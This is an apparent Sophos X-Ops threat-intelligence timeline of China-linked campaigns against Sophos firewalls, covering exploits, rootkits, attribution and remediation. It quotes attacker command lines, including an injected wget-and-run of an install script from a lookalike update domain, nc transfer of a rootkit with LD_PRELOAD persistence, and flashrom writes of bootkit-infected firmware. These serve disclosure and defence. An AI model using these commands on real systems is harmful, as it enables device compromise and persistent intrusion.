Pacific Rim timeline: Information for defenders from a braid of interlocking attack campaigns

news.sophos.com/en-us/2024/10/31/pacific-rim-timeline/

October 31, 2024

As we describe in our overview article, Sophos has been combatting multiple China-based threat actors targeting perimeter devices including Sophos firewalls. Here, we are providing a timeline of notable activity of those threat actors, along with our response to their activities and third-party reports that provided attribution information and context.

Due to the scale of the activity uncovered, this is not a comprehensive overview of all observed activity, nor does it include all IOCs. It is intended to provide defenders with details on key observed TTPs. The limited number of referenced IOCs are available in machine readable format and are linked here. Sophos X-Ops is happy to collaborate with others and share additional detailed IOCs on a case-by-case basis. Contact us via pacific_rim[@]sophos.com**.**

Note: This document uses the MITRE ATT&CK® for Enterprise framework, version 15. See the **MITRE ATT&CK Tactics and Techniques** section of this document for a table of the threat actors' activity mapped to MITRE ATT&CK tactics and techniques.

Table of Contents

Cyberoam intrusion

The first attack was not against a network device, but the only documented attack against a Sophos facility: the headquarters of Cyberoam, an India-based subsidiary.

December 2018: Unravelling an attack path

Sophos observed a low-privilege computer – one that drove a display mounted on the wall of the Cyberoam office –conducting network scans (MITRE ATT&CK technique T1046).

Initial triage of the device identified common living-off-the-land tooling and commodity malware for persistence and reconnaissance, suggesting a relatively unsophisticated actor. However, pivoting on an SSH key found on the device, X-Ops identified the start of an attack path utilizing TTPs indicative of a more persistent threat. These included:

- Replacing the SSH and SSHD daemon with versions which X-Ops assessed as related to a malware family ESET named Onderon in their report The Dark Side of the ForSSHe; this family is also known as bl0wsshd00r67p1 (T1554)
- Windows and Linux variants of the Gh0st remote access Trojan (RAT)
- A novel (for 2018) technique to pivot from on-premises devices to cloud assets by abusing an overly permissive IAM configuration related to AWS SSM (T1078.004)
- And, significantly, a previously unseen, large, and complex rootkit (which Sophos later publicly analyzed and named Cloud Snooper) (T1014)

While this was the only incident in which a Sophos facility was targeted directly, it demonstrated an adaptable adversary capable of escalating capability as needed to achieve their objectives. For example, the threat actor demonstrated deep knowledge of AWS SSM (a relatively new technology in 2018) and deployed a kernel-level rootkit with stealthy command and control (C2) using ATT&CK technique T1205.002.

Building operational relay box (ORB) networks

Beginning in early 2020 and continuing through much of 2022, the adversaries spent considerable effort and resources in multiple campaigns targeting devices with internet-facing web portals (T1190).

The two targeted services were a) a user portal, primarily used to allow remote clients to download and configure a VPN client, and b) an administrative portal for general device configuration. While these services are, by default, LAN-facing only, the adversaries took advantage of an uptick in device owners making both portals remotely accessible due to the increase in home working from the COVID-19 pandemic.

In a rapid cadence of attacks, the adversary exploited a series of zero-day vulnerabilities it had discovered, then operationalized, targeting these internet-facing services. The initial-access exploits provided the attacker with code execution in a low privilege context which, chained with additional exploits and privilege escalation techniques (T1059.004, T1203), installed malware with root privileges on the device.

CVE-2020-12271 (Asnarök)

April 21, 2020: An interesting adjacency

Just one day before the Asnarök attacks, X-Ops received an external bug bounty report of a critical SQL injection (SQLi) vulnerability in the same platform targeted in the attacks. The disclosed vulnerability was distinct from the one used in the attack, and the researcher had previously contributed (and continued to contribute) to our program and others, so we have low confidence of any direct connection to the attack. However, the submission is included here due to the suspicious timing of the report (one day before the attack) and the location of the researcher's device: Chengdu, a city in China that we later identified as the epicenter of the activity tracked in this report.

April 22, 2020: Asnarök attacks detected

X-Ops received reports of a suspicious value in the administrator-visible *sfmipport* database field. This visible artifact only presented on a subset of devices with certain versions of the firmware, where a bug in the post-exploit automation caused a clean-up routine to fail.

Investigations of an impacted device identified an SQLi vulnerability which Sophos would designate as CVE 2020-12271. The vulnerability was used alongside a command injection privilege escalation (T1059) to gain root access to the device and install the Asnarök Trojan (T1203). The Trojan was installed with the following command injected via SQL into the database table:

```
||cd /tmp/ && wget https://sophosfirewallupdate[.]com/sp/install.sh -O /tmp/x.sh &&
sh /tmp/x.sh||
```

The Asnarök attack also included the very first attempt to sabotage hotfixes to devices, in which the threat actor deployed a scripting loop that continuously set the administrative setting to accept hotfixes to false (T1562.006).

April 23, 2020: Hotfix detection and response

Sophos issued an automatically deployed hotfix to patch CVE 2020-12271, terminate and remove identified malware, and (critically) increase the volume and variety of telemetry sent by firewalls.

The hotfix gave X-Ops greater insight into devices that had been maliciously modified. It also fixed the CVE-2020-12271 vulnerability and killed known malicious processes running in memory on devices.

April 24, 2020: Homing in on patient zero

By combining telemetry received from the hotfixes with trial license registration data and web analytics, X-Ops analysts were able to piece together an attack pre-positioning timeline.

Most notably, a single device was identified with suspicious activity dating back to February 2020. Telemetry analysis showed experimental command injection values being written to the sfmipport database field (used in the Asnarök attack). The device's IP geolocated to Chengdu in the Sichuan region of China.

Pivoting on trial license data identified multiple associated devices. Telemetry from these devices showed command line access and usage consistent with vulnerability research and exploit development, including these lines written to the sfmipport field of the interface to test the ability to write files to the folder /tmp:

```
||touch /tmp/exploit.txt|| :443;
echo xxx>/tmp/su1112;:443
:echo xxx>/tmp/su1112;:443
```

Associated accounts were also identified visiting Knowledge Base articles on the devices' architecture.

X-Ops utilized further pivoting combined with OSINT analysis to conclude with medium confidence that the device was owned by Sichuan Silence Information Technology's Double Helix Research Institute, located in Sichuan, China.

April 23 – May 10, 2020: Forward deployment tooling

While conducting a postmortem review of the Asnarök attack, X-Ops built a specialized kernel implant to deploy to devices that Sophos had high confidence were controlled by groups conducting malicious exploit research. The tool allowed for remote file and log collection without any visible userland artifacts.

April 24 – 26 2020: Server seizures

X-Ops requested assistance from Netherlands' National Cyber Security Centre (NCSC-NL) to facilitate the seizure of the Netherlands-based server hosting the domain ragnarokfromasgard[.]com, the primary C2 channel used by the Asnarök malware. NCSC-NL worked as an intermediary with the Dutch National High Tech Crime Unit. NHTCU quickly submitted a warrant to take possession of the server.

The X-Ops team also requested that the US-based domain registrar transfer control of the domain – as well as several others that were registered by the same registrant and hosted on the same server – to Sophos.

Two days after initial contact, the warrant was approved, and the primary C2 server was taken offline and forensically analyzed by the NCSC-NL and the NHTCU.

Sophos X-Ops published our investigation into the attack, the first the company had investigated where our own hardware was the target. The article named the attack Asnarök (a reference to the domain name "ragnarokfromasgard[.]com" that had been used during the attack).

April 28, 2020: Outreach

Sophos began outreach to the small minority of registered users who did not automatically receive the hotfixes (that is, end-of-life devices and devices where administrators had turned off automatic hotfixes).

May 3, 2020: EDR capabilities

X-Ops began to work with Sophos' product engineering team to add new generic extended detection and response capabilities to the firewall telemetry collection process.

May 4, 2020: Domain seizures

The registrar turned over control of domains used by the Asnarök malware, and the others registered by the same registrant (none of which had ever been used for any legitimate purpose), to Sophos. X-Ops pointed the domains to a Sophos-controlled sinkhole. The domain takeover severed the attacker's C2 channels, and the sinkhole gave Sophos additional data about compromised devices.

May 5, 2020: Sinkhole analysis

Analysis of the sinkhole request logs identified numerous varying User-Agents and requested URIs. Alongside expected requests from a small number of unpatched and end-of-life Sophos devices, X-Ops identified User-Agent strings and payload requests that map to other vendors' consumer and SOHO routers, as well as various requests potentially tied to the Ragnarok ransomware (T1584.008).

May 20, 2020: Recovery

Sophos engineering released a hotfix to force passwords resets on potentially impacted devices and implemented a login captcha to hamper automated credential-stuffing.

May 21, 2020: Disclosure detail

Sophos X-Ops posted a follow-up blog that revealed new details about the attack: The Asnarök threat actor made changes to the attack flow twice while the attack was still underway in April.

CVE-2020-15069 (Bookmark feature buffer overflow)

April 9, 2020: Round 2 prep

Just as attackers were preparing to leverage CVE-2020-12271 in the Asnarök attacks, development of another exploit was already underway. Via retroactive threat hunting, on this date X-Ops identified the first observed use of what would later become CVE-2020-15069.

Subsequent analysis of the device, as well as analysis of other devices sharing the same source IP, identified traits associated with a test lab:

- Frequent power cycles
- Rollbacks to previous firmware versions (indicative of a disk snapshot restoration)
- Registration data using free webmail providers (in this case 163.com, a China-based provider)
- Numerous devices (mixture of physical and virtual), running different and frequently changing firmware versions
- Very few devices connected via the LAN interface
- WAN interfaces with private IP addresses, behind network address translation from another device (Huawei)

Tracing the physical devices' serial numbers showed they were purchased by a legitimate partner and likely re-sold secondhand.

June 17, 2020: Round 2 starts

On this date, 56 days after the Asnarök attack began, the threat actor began to exploit a zero-day buffer overflow vulnerability (CVE-2020-15069) in a custom Apache module. The exploit, chained with a local privilege escalation, was used to deploy a malicious web shell indiscriminately to devices running a WAN-facing web portal (T1505.003).

June 18, 2020: Adversary agility

Analysis of the attack and web shell reveals significant changes in attacker TTPs, precluding several defensive measures deployed in the Asnarök attacks:

- **No centralized C2**
  In Asnarök, X-Ops was able to take over the C2 domains, effectively neutering the malware. The web shell did not reach out to external C2 for commands; instead, it listened for inbound commands.

- **Simplicity**
  The Asnarök malware was large with significant functionality directly embedded, allowing X-Ops to reverse-engineer it and discover likely attacker intent. By using a small web shell providing command execution, the attackers were able to conceal intent and keep payloads “server-side” on systems into which X-Ops did not have visibility.

  Stealth
  The simplicity of the web shell limited detection opportunities, since no additional running processes or persistence mechanisms were required. Additionally, to hamper external discoverability, the web shell would return a HTTP 400 to any request which did not provide the correct password. X-Ops unsuccessfully attempted to crack the hash of the password, which was stored directly in the web shell.

X-Ops was able to quickly identify the initial entry vector and impacted devices by utilizing new telemetry-collection capabilities added to devices following the Asnarök attacks. Additionally, telemetry helped the team identify a single, likely attacker-owned, patient-zero device on which a version of this web shell had been deployed on April 9, before either the Asnarök attack or this attack took place.

June 24, 2020: Origin obfuscation

Postmortem analysis identified about 175 unique IP addresses that had been sending commands to the infected appliances since June 17. All the IP addresses were part of an anonymization network, obfuscating the true origin of the attacks (T1090.003).

June 25, 2020: Cleanup

Product engineering released a series of hotfixes, both to patch the CVE-2020-15069 code execution vulnerability and to remove malware installed on the devices. The hotfixes also reversed the changes made by the attacker that disabled the products from being able to receive hotfixes.

February 18, 2021: Extracting final value

After a twelve-week lull, X-Ops identified renewed activity against end-of-life and unpatched devices using CVE-2020-15069. The payloads stole credentials saved on the appliance and added a backdoor.

The attack also delivered different payloads than had been used in earlier attacks – two Linux shell scripts named patch.sh and IC.sh (T1059).

The IC.sh script stole local user account data from the device and sent it to an IP address for a Hong Kong-based ISP. It also contained an encoded copy of patch.sh, which it wrote to the filesystem. It set a flag in a database that disabled automatic hotfix updates, re-running the command to do that every five minutes (T1562.001). The location where the attacker deployed IC.sh was (probably not coincidentally) the same filesystem path that was used for malicious scripts in the April 2020 Asnarök attacks. The adversary also sabotaged the hotfix mechanism, a behavior first observed during the June 2020 Bookmark Buffer Overflow attacks.

The patch.sh script ran once an hour and attempted to remove traces left behind in a database that might reveal the device had been compromised.

The attack was also notable in that the attackers interacted directly with the telemetry system, to conceal their behavior and as a countermeasure targeting the telemetry improvements implemented the previous April after the Asnarök event.

Defending forward

June 30, 2020 – Telemetry proof-of-value

Utilizing additional telemetry collection, threat hunting revealed a device with suspicious command execution. Triage identified several anomalous components including masscan (a network port scanner) and a simple RAT. Subsequent analysis identified a further 21 impacted devices. In all cases initial access was determined to be via weak SSH credentials (T1110.001). While X-Ops concluded that the attack was likely isolated and unrelated to the larger and more sophisticated attacks, it did provide early proof-of-value for additional telemetry and threat hunting processes.

July 9, 2020: Implant first-deployment

Hunting through telemetry, X-Ops analysts identified a device which X-Ops concluded, with high confidence, belonged to the Double Helix entity. After consulting with legal counsel, X-Ops deployed the targeted implant and observed the attacker using vim to write and run a simple Perl script. While of low value, the deployment served as a valuable demonstration of intelligence collection capability by providing near-real-time observability on attacker-controlled devices.

July 14, 2020: First encounter with TStark

While hunting for the earliest devices to have executed the bookmark buffer overflow exploit, X-Ops identified a threat actor named internally as “TStark,” and a cluster of devices registered by the threat actor (using a Proton Mail email address that began with “TStark”).

The TStark cluster of devices contained some of the earliest examples of malicious payloads associated with the bookmark buffer overflow attack targeting CVE-2020-15069 (T1203). Devices also exhibited odd telemetry behavior indicative of intermittent VPN usage, with telemetry sources rapidly switching between IP addresses that geolocated to Hong Kong, then to Chengdu, then back to Hong Kong (T1133).

X-Ops determined that one of the physical devices later registered to the TStark identity had previously been registered by a former researcher at the University of Electronic Science and Technology of China (UESTC) in Chengdu.

July 27, 2020: Payoff

Following improvements to methodologies to identify attacker devices, X-Ops deployed the targeted implant to a cluster of devices associated with the Double Helix entity.

The additional visibility quickly allowed X-Ops to identify a previously unknown and stealthy remote code execution exploit. Whereas previous exploits required chaining with privilege escalation techniques manipulating database values (a risky and noisy operation, which aided detection), this exploit left minimal traces and provided direct access to root. Below is an excerpt of the command-line activity that led to the discovery of the new zero-day exploit in development:

```
gdb -p 2951
ls
ls
ls -lsa
nopcode -d -n nosync -t json -b
nopcode deny_remote_adminip -d -n nosync -t json -b "[\"ipaddress\": \"; touch
/tmp/zz77; \°, \"addr_family\":\"2\*), 192.168.31.187\*, \"timeout\": \"60\",
\"addr_family\": \"0\")* nopcode deny_remote_adminip -d -s nosync -t json -b "
(\"ipaddress\*: \*; touch /tmp/zz77; \*, \"addr_family\*:\*2\*), 192.168.31.187\*,
\*timeout\*: \*60\*, \"addr_family\": \"0\")*
ls
rm zz77
ls
```

X-Ops leveraged the implant's capability to retrieve the data about the exploit, identifying a command injection vulnerability via the *X-Forwarded-For* http header in a brute-force-detection component. They were then able to reproduce the exploit and work with engineering teams to patch.

July 28, 2020: Impact analysis

Threat hunting found that two devices – one used by a law firm, the other by an IT services company – had been attacked using the exploit.

X-Ops identified that both devices opened a reverse shell connection to the same IP address (belonging to a US-based hosting company) (T1059).

July 30, 2020: Obfuscated hotfixing

Sophos deployed a patch to all vulnerable devices, including the two compromised devices found three days earlier. Due to prior web-analytics analysis, X-Ops were aware of adversaries monitoring Sophos knowledge base (KB) articles associated with hotfixes and patches, making it necessary to obfuscate the fix. Sophos engineering devised the patch to fix several unrelated low-severity issues to conceal an important emerging capability.

August 9-13, 2020: Additional implant intelligence

Routine monitoring of device telemetry uncovered two recently registered suspicious devices qualifying for additional targeted monitoring.

X-Ops detected additional suspicious activity on monitored devices, including binaries in /tmp reaching out to external IP addresses on 4438 and 4439.

Subsequent analysis identified a lower-severity post-authentication remote code execution vulnerability in an operating system component (T1210). X-Ops began work on a hotfix to close the vulnerability.

August 13 -14, 2020: Rootkit #2: A foiled evolution in stealth

While working on the analysis of the Bookmark Buffer Overflow attack, X-Ops was able to obtain a novel malware sample directly from a device registered to “TStark.”

The sample, named libxselinux.so, was a customized userland rootkit based on code originally attributed to the Winnti threat actor group (T1014).

There were two components to the malware: A core engine for communicating with a command-and-control server, and a userland rootkit module that enumerates devices on the local system on startup then executes the core module (T1547).

Retroactive hunting did not find any other copies of libxselinux.so beyond the single TStark device. To hamper any potential future use, Sophos proactively deployed protections to detect and block the rootkit (detected as Linux/Winnti-T).

August 21, 2020: TStark’s preparation

X-Ops retrieved multiple files from a TStark device. Among the files obtained from the threat actor were malware designed to run on Mac OS X and iOS, and IFRAME injection code that exploits a vulnerability in WebAssembly (wasm) (T1189).

August 31 – October 31, 2020: Tibetan targets and Rootkit #3

In collaboration with Volexity, Sophos assisted an organization providing support to Tibetan exiles. Analysis of the impacted device identified IOC overlap with the "TStark" threat actor tooling (identified just 10 days earlier) and a group Volexity dubbed Evil Eye (and attributed to "multiple Chinese APT actors").

Researchers at Volexity also shared samples of a rootkit they found on the same device. X-Ops analysts determined the files were part of a loadable kernel module (LKM) rootkit called Suterusu, available from a GitHub repository (T1014). The Suterusu payload was compiled with all optional features removed, so the functionality was limited to the 18 commands listed in the README file.

Pivot to Cyberoam

November 27, 2020: Lower-hanging fruit

The Cyberoam product line, a legacy product nearing end of life at that time, comes under attack nearly two years after the attack on Cyberoam's old offices in India.

The attacker used a zero-day which would later become CVE-2020-29574 to create a new administrator-level user account, named "cybersupport," on impacted devices (T1136.001).

Sophos pushed out a hotfix to patch the vulnerability and delete attacker-created accounts. The company conducted outreach with registered owners to advise them either to upgrade their devices or take them out of service entirely.

July 21, 2021: ANSSI attribution

Eight months after the November 2020 SQL injection attack against Cyberoam appliances, the French government's cybersecurity agency, ANSSI, publicly attributed the Cyberoam account creation attack to the China-based threat group APT-31.

The ANSSI announcement stated that affected Cyberoam devices were used by threat actors as a relay or proxy to launch attacks against other devices, such as Ivanti remote access gateways. A now-common APT practice, using the affected devices this way helped the attacker conceal the true origin of the attacks against the other targeted devices.

Targeted attacks

From 2021 onwards the adversaries appeared to shift focus from widespread indiscriminate attacks to highly targeted, "hands-on-keyboard" narrow-focus attacks against specific entities: government agencies, critical infrastructure, research and development

organizations, healthcare providers, retail, finance, military, and public-sector organizations primarily in the Asia-Pacific region.

CVE-2022-1040 (“Personal Panda”)

March 21, 2022: Double-dipping?

For the second time, Sophos received a simultaneously highly helpful yet suspicious bug bounty report. A pseudonymous security researcher reported a zero-day to the Sophos bug bounty program; it would be designated as CVE-2022-1040. The researcher, who did not wish to be credited, claimed they were based in Japan, but the IP of the device they were using geo-located to China. They received a $20,000 bounty.

The report included two separate vulnerabilities: an authentication bypass bug in SFOS, and a command injection bug in OpenSSL which the researcher used for privilege escalation to gain a root shell.

March 23, 2022: A quick fix

Sophos released a hotfix to patch the vulnerability.

March 24, 2022: Victimology

Through retrospective hunts, X-Ops identified active exploitation of CVE-2022-1040 predating the bug bounty submission. While limited in prevalence, victimology and timing showed a targeting pattern consistent with PRC-based foreign policy objectives; most notably, targeting of:

- A high-level government department during a critical period of BRI-related debt negotiation
- The same Tibetan-related target attacked in August 2020

March 25, 2022: Disclosure

Sophos released the CVE-2022-1040 advisory.

March 26 – April 7, 2022: Rootkit #4

X-Ops’ continued threat hunting, outreach to impacted entities, and analysis of impacted devices identified a complex picture of post-exploitation tooling and TTPs consistent with manual targeting and delivery.

Sophos disclosed a portion of its findings in July 2022.

In addition to previously disclosed items, X-Ops also identified an additional cluster of activity relating to CVE-2022-1040 revolving around a novel and bespoke rootkit, libsophos.so (T1014). NCSC-UK would later analyze this malware and call it “Pygmy Goat.”

X-Ops identified two copies of libsophos.so, both deployed using CVE-2022-1040 — one on a high-level government device and the other on a technology partner to the same government department.

Deployed alongside a copy of Gh0st RAT, libsophos.so during analysis revealed a custom-built, fully featured userland rootkit closely mimicking Sophos product file naming conventions and behavior (T1036).

X-Ops analysis revealed that the libsophos.so library was able to inject itself into the system’s SSH daemon (SSHD) by using the LD_PRELOAD environment variable. This allowed the library to load before other system libraries, effectively inserting itself into the SSHD process and altering its behavior. Particularly, it added the ability to listen for and respond to specially crafted ICMP packets, which, if received by an infected device, would open a SOCKS proxy or a reverse shell back-connection to an IP address of the attacker’s choosing (T1090, T1059). This was reminiscent of the December 2018 Cloud Snooper attack, which employed the same methodology.

X-Ops was able to retrospectively link libsophos.so development to the TStark actor. On February 18, 2022, shell history on two devices linked to TStark (one physical, one virtual) showed the actor renaming and running libsophos.so (aka libgoat.so) on their devices, as well as testing persistence:

```
rm -f /lib/libsophos.so
nc 192.168.1.85 4444 > /lib/libsophos.so
mv /tmp/server_x32 /lib/libsophos.so
sed -e 's/exec \/bin\/dropbear/export LD_PRELOAD=libsophos.so
chmod +x /bin/killlibgoat
mv /tmp/goatserver_x64 /etc/libgoat.so
killall libgoat.so
```

One version of libsophos.so observed on the attackers’ devices had the same hash (c71cd27efcdb8c44ab8c29d51f033a22) as seen on the victim devices.

One of the devices also contained copies of valgrind and prex, tools commonly used for debugging and control flow tracing. The email address for the administrator account on this device was publicly associated with a Chinese offensive-security researcher and Linux shellcode expert.

April 2, 2022: OpenSSL report

Sophos reported the OpenSSL bug on April 2; the vulnerability was assigned the identifier CVE-2022-1292.

April 7, 2022: Hiding in JARs

Continued analysis identifies a new persistence TTP – Trojanized class files embedded inside pre-existing Java archive (JAR) files. The compromised class file was loaded into an internet-accessible Java servlet and acted as a dynamic loader for other AES-encrypted class files provided to it via a HTTP POST (T1574.004). (Volexity provided further details on this persistence mechanism in their DriftingCloud report.)

May 2022: libsophos appears again

Hunting identified a third device running the libsophos.so rootkit (T1014). This was a military hospital in a different Asian country from the initial targets.

May 3, 2022: OpenSSL fix

OpenSSL announced a fix for CVE-2022-1292.

June 16, 2022: Sliver

Following additional IOCs obtained through collaboration with Volexity (which they would write up as DriftingCloud), X-Ops ran additional hunts searching for communications with the C2 IP 192.248.152.58.

The hunt discovered a single device, belonging to a healthcare technology provider, running a malware sample named libiculxg.so. X-Ops analysis identified libiculxg.so as belonging to the dual-use adversary emulation framework "Sliver."

October 19-29, 2022: Conference disclosures

Sophos X-Ops presented a paper ("Your Own Personal Panda") detailing our research into the CVE-2022-1040 attack and its malware payloads at three conferences: Virus Bulletin, BruCON, and Saintcon.

Covert Channels (CVE-2022-3236)

September 16, 2022: Poor operational security provides a lead

In collaboration with Microsoft's Incident Response team, X-Ops identified a compromised device belonging to a large Asian financial services organization. Device analysis identified the first instance of a cluster of activity that Sophos would later disclose as the Covert Channels.

Notably, X-Ops identified two new TTPs (on a small subset of impacted devices):

- An evolution on the backdoored JAR technique used in the Personal Panda attacks to sniff credentials processed by the device's web interface
- Use of sniffed credentials to run a DCSync credential dump from a LAN-side domain-controller (T1003.006)

X-Ops conducted a telemetry hunt for other devices with the identified backdoored JAR file. The hunt identified a small cluster of devices with similar victimology to the Personal Panda attacks. Initial analysis of impacted devices showed behaviors consistent with manual targeting and deployment: variances in file names and permissions and, crucially, inconsistency in log-clearing routines.

September 17, 2022: Initial access identified

Analysis of a tomcat log, on a device the attackers had failed to fully clean, led to the identification of the initial entry point – a command injection vulnerability in a Perl-based component. This vulnerability would later be designated as CVE-2022-3236. Further analysis found an associated telemetry artifact that reliably identifies successful exploitation. Hunting on this new indicator revealed that the Java-based Trojan was only deployed to a subset of targeted devices. The primary persistence method, common to all devices, was the backdoored Perl component (more detail on this and other malware found in this attack is available in our Covert Channels report).

September 21, 2022: Patching and outreach

Sophos began roll out of a hotfix that remediated the CVE-2022-3236 vulnerability and removed any additional malware delivered to those affected by it.

Outreach to impacted device owners began. Like previous observed activity, victims were primarily (but not solely) located in Asia, with a particular cluster focused on military and state security entities in a Southeast Asian country. In the same region, X-Ops also identified targeting of a small number of critical infrastructure providers, including waterworks and power generation facilities. Due to the likely low intelligence collection value of targeting these entities, X-Ops assessed, with low confidence, that the group conducting the attack may also have been preparing for disruptive operations.

September 23, 2022: Disclosure

Sophos published an advisory on the CVE-2022-3236 exploits.

October 9, 2022: IOCs

Sophos released additional IOCs.

June 1, 2023: Milking Covert Channels

X-Ops observed actors scanning for and exploiting CVE-2022-3236, primarily on legacy End of Life (EOL) unpatched devices. In a return to TTPs observed in 2020, targeting appeared indiscriminate and likely aimed at building operational relays for subsequent attacks. The attacks all used the previously observed JAR-based persistence techniques with a consistency indicative of automated exploitation. Identified C2 channels geo-located to a Hong Kong-based ISP (IPTelecom Asia).

June 13, 2023: Outreach

Sophos renewed efforts to assist entities running legacy EOL devices to upgrade to supported firmware versions.

November 27, 2023: Patch bypass

Routine X-Ops threat hunting identified suspicious activity on a device that had received the CVE-2022-3236 patch. Further investigation confirmed the presence of malicious JAR files and a connection to a C2 IP (T1406). Pivoting on the C2 identified a small number of devices — all patched for CVE-2022-3236 — with logging artifacts indicative of successful exploitation of CVE-2022-3236.

November 28, 2023: An exceptional bypass

X-Ops log analysis found an unusual exception occurring at the time of the exploit. Source-code analysis identified a bypass to the CVE-2022-3236 patch on devices running older firmware versions. By providing malformed JSON, the attackers were able to trigger an exception, skipping the additional input sanitization that mitigated CVE-2022-3236. On newer firmware versions, additional code hardening measures prevented the bypass, limiting its usefulness.

On the same day, X-Ops received intelligence from a non-Asian government partner concerning active scanning of vulnerable devices in their region. This is notable because the majority of previously observed CVE-2022-3236 activity had been heavily focused on Southeast Asian targets.

November 29 – December 11, 2023: Bypass patch

Sophos engineering released staged hotfixes to patch the bypass. To maximize coverage, the patch was backported to a number of out-of-support but widely deployed firmware versions.

December 11, 2023: Outreach and attribution

Sophos began outreach to the small number of entities impacted by the bypass. While X-Ops observed very limited exploitation of this bypass, the victimology was notable: Unlike prior targeted attacks, victims were primarily government entities not in the Southeast or South Asian regions. While the post-exploitation tooling deployed was relatively uninteresting (mainly variants on known open-source tools, for example zscan, fscan, and Chisel) it was also significantly different from previous attacks. Similarly, identified C2 IPs (all belonging to Cloudflare and RackNerd) all geolocated to non-Asian countries (prior to this, the majority of C2 IPs geolocated to Asian hosting providers).

These differences led X-Ops to conclude, with high confidence, that the bypass was used by a different group. However, targeting remained consistent with PRC foreign policy objectives; for instance, an embassy was targeted with the bypass shortly before hosting senior members of the Chinese Communist Party Politburo.

Under-the-radar activity

Following the Covert Channels attack, the adversary attempted to remain under our radar with small-scale deployment of existing exploits against very specific targets and improved operational security, both when conducting attacks and when performing research and analysis on their own devices.

These attacks often targeted sensitive installations where administrators were less diligent about remaining on supported firmware versions and were thus not receiving patches to known vulnerabilities.

July 2022 – February 2023: Elegance in simplicity

X-Ops assisted with an incident at a nuclear regulatory agency in collaboration with that country's national security and intelligence services.

Routine monitoring identified a device downloading suspicious binaries from a LAN-side internal web server (T1105). X-Ops informed the impacted entity and requested further details.

With assistance from an in-country government agency, X-Ops retrieved malware samples from the device and identified a RAT alongside open-source utilities. The RAT was a simple back-connect shell which triggered when a specially crafted packet was received by the device (T1205), behavior which X-Ops had observed in both the Cloud Snooper and Personal Panda attacks. Analysts were unable to identify the back-connect C2 IP address as it was encoded in the crafted packet and not stored locally.

The deployed open source tools included Fast Reverse Proxy (FRP) and sbd, a secure netcat clone with embedded strong encryption (T1090). CISA later published a bulletin about the threat actor Volt Typhoon's use of FRP, though X-Ops was unable to find any other

evidence directly linking these attacks to Volt Typhoon.

For persistence, the attacker renamed a legitimate device binary “nasm” to “nasmd” and dropped the RAT in its place. The system was already configured to run “nasm” on boot. On running, the RAT spawned the original nasm binary to avoid any noticeable impact on functionality.

Further hunting for similar malware revealed devices with a similar set of payloads to the one discovered in the nuclear energy regulatory agency at a military command facility, and at the national capital’s airport in the same country.

Like the TTPs deployed three years earlier in the CVE-2020-15069 attacks, the attack was notable for its simplicity and tradecraft. It was also the first time X-Ops had clearly observed an attack that had likely originated from the LAN side of the device. X-Ops also uncovered log entries which timing analysis indicated were likely the attackers using valid credentials to deploy their tooling, and observed tooling being downloaded from an RFC1918 IP address (T1078).

August 15, 2022: Rootkits to bootkits

A new file appeared on a bare-metal device, which X-Ops had previously identified as suspicious and monitored as part of X-Ops’ targeted monitoring program. Command-line history revealed changes being made to the firmware of the device:

```
ftpget -u admin -p password 10.10.10[.]110 ./flashrom ./flashrom

ftpget -u admin -p password 10.10.10[.]110 xg210-remove-dxe-guard-bds-infected.bin
xg210-remove-dxe-guard-bds-infected.bin

chmod 777 flashrom { dd bs=392446464 skip=1 count=1; cat; } < /dev/sda >
./ext4_1_19.img

./flashrom -p internal -c "Opaque flash chip"

./flashrom -p internal -c "Opaque flash chip" -r xg210-read.bin

./flashrom -p internal -c "Opaque flash chip" -w xg210-remove-dxe-guard.bin
```

X-Ops was able to retrieve a copy of a file “/bin/XG210-rkloadtest.bin” and identified an early development version of a UEFI BIOS bootkit based on VectorEDK.

The device with the bootkit malware was registered to a company whose name implies it is based in the city of Guangzhou, but the device itself was purchased by a company with an address in Chengdu, and the device was sending telemetry from an IP address that geolocated to Chengdu.

Despite deploying additional detections, X-Ops has not observed an in-the-wild deployment of this capability.

March 23 – April 19, 2023: “GO”ing after the supply chain

Routine threat hunting by X-Ops revealed suspicious files that were running in memory (and deleted on disk) on a device operated by a government-owned technology supplier supporting numerous strategic industries.

X-Ops was able to retrieve a sample from the impacted device and, pivoting on C2 domain, identified another impacted device owned by the same entity. A further hunt across all devices belonging to the impacted entity revealed a significant cluster of activity, all but one belonging to the same entity (the other being a government-owned telco).

Retrieved samples included:

- The port mapping tool LCX
- Microsocks, an open-source portable SOCKS5 server, configured with a hardcoded password of “Pa55W0rd”
- A novel and fully featured 64bit ELF backdoor of unclear lineage which could sniff user and admin credentials entered into the device. Due to the domain-joined nature of the devices, this likely led to theft of privileged internal Active Directory credentials (T1649)
- A Go binary obfuscated using a relatively obscure tool called “go-strip.” The binary took a DES-encrypted configuration as an argument, and when run, connected to specified C2 server specified to provide command executions and file transfer capabilities

The actor’s use of Go and Python also demonstrated a modernization in tooling compared to previous observed activity.

May 17-19, 2023: Firmware upgrade persistence

During routine threat hunting, X-Ops discovered a remote shell on a single device belonging to a government intelligence agency.

While the remote shell was unremarkable, X-Ops identified a persistence technique not previously observed. Using the open-source tool plthook, the attackers inserted a hook into the firmware upgrade process (T1037.002). The hook wrote the backdoor into the temporary partition used for the new firmware before the device rebooted, allowing it to survive firmware upgrades (though the device could be recovered by flashing the firmware using an external USB drive).

To bypass integrity checks, the attacker also swapped out the binaries that verify the cryptographic signature in the firmware (T1027.001).

With further analysis, X-Ops concluded that malware deployment was likely via valid administrative credentials (T1078).

X-Ops was also able to identify a likely attacker-controlled device containing a copy of the firmware-persistent malware (T1542.001). The virtual device, geolocated to Shanghai, exhibited frequent firmware changes. Notably, it was last observed running the exact same (old) firmware version as the impacted entity.

March 2024: Legacy devices ORBs

X-Ops received intelligence that legacy EOL devices still vulnerable to CVE-2022-3236, CVE-2022-1040, and CVE-2020-29574 as operational relays for onward attacks (most notable against Ivanti targets). Impacted devices were identified to be running a Dropbear SSH server on port 58900 and the attackers had comprehensively disabled telemetry and remote updates to hamper detection and response.

Sophos X-Ops is happy to collaborate with others and share additional detailed IOCs on a case-by-case basis. Contact us via pacific_rim@sophos.com

For the full story, please see our landing page: Sophos Pacific Rim: Sophos defensive and counter-offensive operation with nation-state adversaries in China.

Acknowledgments

Sophos would like to acknowledge the contributions of ANSSI, Bugcrowd, CERT-In, CISA, Cisco Talos, Digital Shadows (now part of Reliaquest), FBI, Fortinet, JCDC, Mandiant, Microsoft, NCA, NHCTU, NCSC-NL, NCSC-UK, NSA, Palo Alto Networks, Recorded Future, Secureworks, and Volexity to this report, or to investigations covered in this report.

Appendix I —MITRE ATT&CK Tactics and Techniques

